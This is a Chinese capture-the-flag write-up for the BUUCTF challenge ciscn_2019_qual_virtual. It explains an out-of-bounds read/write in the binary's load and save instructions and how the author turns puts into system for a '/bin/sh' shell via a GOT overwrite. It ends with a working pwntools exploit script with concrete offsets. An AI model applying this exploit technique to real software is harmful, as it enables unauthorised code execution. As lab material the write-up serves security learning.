BUUCTF ciscn_2019_qual_virtual WP
checksec:

没开PIE IDA64打开:

整理一下函数内容如上
先看stack_create函数:

其中ptr对应的结构体为:
1 2 3 4 5 6 7
| struct segment_chunk { char *segment; unsigned int size; int top; };
|
segment用来存储申请的堆的地址,size用于存储堆的大小,top则是这个利用堆实现的栈的栈顶
总共创建了三个这样的栈,v5,v6和v7
看opcode函数:

是对输入的指令进行了分割,总共八条指令
再看看最关键的execute函数:

其中有两个重要的函数,一个是take_value 一个是set_value,是实现了结构体层面的出入栈
举个例子:

这个pop的实现是用take_value从a2的栈顶取出值放到v3再把v3放进a1栈顶
有漏洞的函数是load和save:


load将a1栈顶取出的值(a1[v2])再放到a1[0]上
save将a1[v2]的值设为v3
它们都没有对负数的检查,可以越界读写
思路是先利用越界写把data段的结构体指向地址改成GOT表的位置
再利用读取把puts的GOT表修改成free的GOT,再加上一个偏移将puts的GOT表修改为system的GOT
这样在把开头的程序名s写成/bin/sh时:

执行puts(s)的时候就会执行system(“/bin/sh”)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import * from LibcSearcher import * from struct import pack import time import random from ctypes import *
context(log_level='debug',arch='amd64', os='linux') p = process('./ciscn_2019_qual_virtual')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
s = libc.symbols["system"] - libc.symbols["free"] print(s)
pause() p.sendlineafter("name:\n", b'/bin/sh\x00') p.sendlineafter("instruction:\n", b'push push push push push save push load push add')
pause() p.sendlineafter("data:\n", b'0 0 0 4210696 -6 0 -345712')
p.interactive()
|